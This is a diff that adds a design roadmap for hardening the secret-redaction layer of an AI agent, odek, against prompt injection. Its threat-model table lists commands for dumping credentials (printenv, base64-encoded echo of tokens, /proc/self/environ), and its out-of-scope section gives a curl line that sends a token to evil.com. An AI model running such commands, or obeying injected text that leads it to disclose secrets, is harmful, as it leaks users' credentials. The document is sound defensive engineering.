|
| 1 | +# Redaction Hardening Plan |
| 2 | + |
| 3 | +Status: in progress. The first increment (known-value redaction + Telegram |
| 4 | +token pattern) ships in `internal/redact`. This document is the roadmap for |
| 5 | +making the redaction layer robust against the full set of known attacks on |
| 6 | +**the tools surface**, and an honest statement of what redaction can and |
| 7 | +cannot defend. |
| 8 | + |
| 9 | +--- |
| 10 | + |
| 11 | +## Scope and why |
| 12 | + |
| 13 | +odek's redaction layer (`internal/redact`) sanitises **tool output** before it |
| 14 | +is appended to the conversation and persisted to the session |
| 15 | +(`internal/loop/loop.go`, `internal/session/session.go`). It exists so that a |
| 16 | +secret which surfaces in a command's output — accidentally or because a |
| 17 | +prompt-injected agent went looking for it — does not end up in the transcript, |
| 18 | +the session file, the model provider's logs, or a Telegram chat. |
| 19 | + |
| 20 | +The surface we harden is deliberately narrow: **what tools return to the |
| 21 | +agent.** We do *not* try to scrub odek's own process environment, because the |
| 22 | +agent process legitimately needs its secrets — above all the LLM API key it |
| 23 | +uses to talk to the model. Removing the key from the process is not an option; |
| 24 | +keeping it from *leaking back out through tool output* is. That makes the |
| 25 | +redaction layer the right control, and it must be as close to airtight as a |
| 26 | +lexical filter can be. |
| 27 | + |
| 28 | +## Threat model (tools surface) |
| 29 | + |
| 30 | +An attacker who has achieved prompt injection drives the agent to disclose a |
| 31 | +secret it can read, by routing it through tool output that returns to the |
| 32 | +transcript. Concretely: |
| 33 | + |
| 34 | +| # | Vector | Example | Pre-fix status | |
| 35 | +|---|--------|---------|----------------| |
| 36 | +| 1 | Env dump of well-named, standard-format key | `env`, `printenv` | Caught (format + name patterns) | |
| 37 | +| 2 | Bare echo of a non-standard-format secret | `echo $TELEGRAM_BOT_TOKEN` | **Leaked** | |
| 38 | +| 3 | Encoded secret | `echo $API_KEY \| base64`, `\| xxd`, `\| rev` | **Leaked** | |
| 39 | +| 4 | `/proc` environ dump | `cat /proc/self/environ` | Partially (NUL-delimited, name pattern needs `NAME=`) | |
| 40 | +| 5 | Secret read from a file | `cat ~/.config/odek/secrets.env` | Depends on format | |
| 41 | +| 6 | Secret embedded in a longer string | `curl -H "x: $TOKEN" ...` echoed back in verbose output | Depends on format | |
| 42 | + |
| 43 | +Vectors 2–4 are the gaps this work closes. |
| 44 | + |
| 45 | +## Out of scope for redaction (documented limits) |
| 46 | + |
| 47 | +These are **not** solvable by a lexical filter and must be defended elsewhere |
| 48 | +(network-egress controls, approval gating, `non_interactive: deny`): |
| 49 | + |
| 50 | +- **Arbitrary transformation** — `gzip`, `openssl enc`, gpg, custom character |
| 51 | + substitution, chunking a secret across multiple commands. We precompute the |
| 52 | + *common* encodings (base64, hex, url, reversed); we cannot enumerate all of |
| 53 | + them. |
| 54 | +- **Side-channel exfiltration** — `curl -d "$TOKEN" evil.com`, a reverse |
| 55 | + shell, DNS tunnelling. The secret never returns to the tool surface, so |
| 56 | + redaction never sees it. This is the job of the egress denylist and |
| 57 | + `network_egress: prompt` + `non_interactive: deny` in the danger config. |
| 58 | + |
| 59 | +Redaction is a **safety net against disclosure into the transcript**, not a |
| 60 | +guarantee against a determined exfiltration attempt. Defense in depth: pair it |
| 61 | +with the egress controls. |
| 62 | + |
| 63 | +--- |
| 64 | + |
| 65 | +## Design |
| 66 | + |
| 67 | +Two cooperating layers run inside `RedactSecrets`: |
| 68 | + |
| 69 | +### Layer 1 — Known-value redaction (new) |
| 70 | + |
| 71 | +odek knows its own secrets. We register them at startup and redact the exact |
| 72 | +values — plus their common encodings — wherever they appear, regardless of |
| 73 | +format. This closes vectors 2, 3, and 4 for odek's own secrets. |
| 74 | + |
| 75 | +- `RegisterSecret(value)` — records a value and its encodings: base64 |
| 76 | + (std/raw/url), hex (upper/lower), percent-encoding, reversed. |
| 77 | +- `RegisterSecretsFromEnv()` — registers values of env vars whose name has a |
| 78 | + secret-bearing segment (`KEY`, `TOKEN`, `SECRET`, `PASSWORD`, `PASS`, |
| 79 | + `CREDENTIAL`, …), matched on whole `_`/`-` segments so `GIT_AUTHOR_NAME` |
| 80 | + (AUTHOR) and `compass` (PASS) are *not* treated as secrets. |
| 81 | +- Seeded once in `config.LoadConfig` from the resolved API key, the Telegram |
| 82 | + bot token, and the environment; and in the subagent path for the |
| 83 | + FD-supplied key. |
| 84 | +- Values shorter than `minSecretLen` (8) are ignored to avoid over-redacting |
| 85 | + ordinary text. Matching is literal (a `strings.Replacer`), so no regex |
| 86 | + metacharacter or ReDoS risk from arbitrary secret contents. |
| 87 | + |
| 88 | +### Layer 2 — Format patterns (existing, extended) |
| 89 | + |
| 90 | +Regex patterns for secrets we *don't* hold but recognise by shape (a |
| 91 | +customer's AWS key in a file, a GitHub PAT, a private key). Extended here with |
| 92 | +a **Telegram bot token** pattern (`<bot-id>:<35-char>`), which has no `name=` |
| 93 | +context for the generic rule to catch. |
| 94 | + |
| 95 | +## Implemented in this PR |
| 96 | + |
| 97 | +- `internal/redact/redact.go`: known-value registry (`RegisterSecret`, |
| 98 | + `RegisterSecretsFromEnv`, `ResetSecrets`), encoding-aware literal matching, |
| 99 | + wired into `RedactSecrets` / `HasSecrets` / `CountSecrets`; Telegram |
| 100 | + bot-token pattern. |
| 101 | +- `internal/config/loader.go`: seed the registry at startup. |
| 102 | +- `cmd/odek/subagent.go`: register the FD-supplied API key. |
| 103 | +- `internal/redact/known_value_test.go`: coverage for vectors 2–4, env-scan |
| 104 | + selectivity, and the short-value guard. |
| 105 | + |
| 106 | +## Follow-ups (not in this PR) |
| 107 | + |
| 108 | +1. **Streaming redaction across chunk boundaries.** A secret split across two |
| 109 | + streamed tool-output chunks evades per-chunk redaction. Buffer a sliding |
| 110 | + window equal to the longest registered form. |
| 111 | +2. **Entropy heuristic for unknown secrets.** Flag high-entropy tokens of |
| 112 | + secret-like length that match no pattern and no known value, to catch |
| 113 | + third-party secrets read from files (vector 5) — tuned to avoid hashes/UUIDs. |
| 114 | +3. **Redaction telemetry.** Count redaction hits per session and surface a |
| 115 | + warning when tool output contained secrets, so operators notice exfil |
| 116 | + attempts rather than silently dropping them. |
| 117 | +4. **Argument/echo-back coverage (vector 6).** Consider redacting tool *inputs* |
| 118 | + (command strings) that embed a known value, not just outputs. |
| 119 | +5. **Periodic re-seed.** If secrets can rotate at runtime, re-run |
| 120 | + `RegisterSecretsFromEnv` on reload. |
| 121 | + |
| 122 | +## Testing |
| 123 | + |
| 124 | +`go test ./internal/redact/` covers each closed vector. New tests: |
| 125 | +`TestTelegramBotTokenPattern`, `TestKnownValue_BareEcho`, |
| 126 | +`TestKnownValue_Encodings`, `TestKnownValue_ProcEnvironDump`, |
| 127 | +`TestRegisterSecretsFromEnv`, `TestRegisterSecret_TooShortIgnored`. |
0 commit comments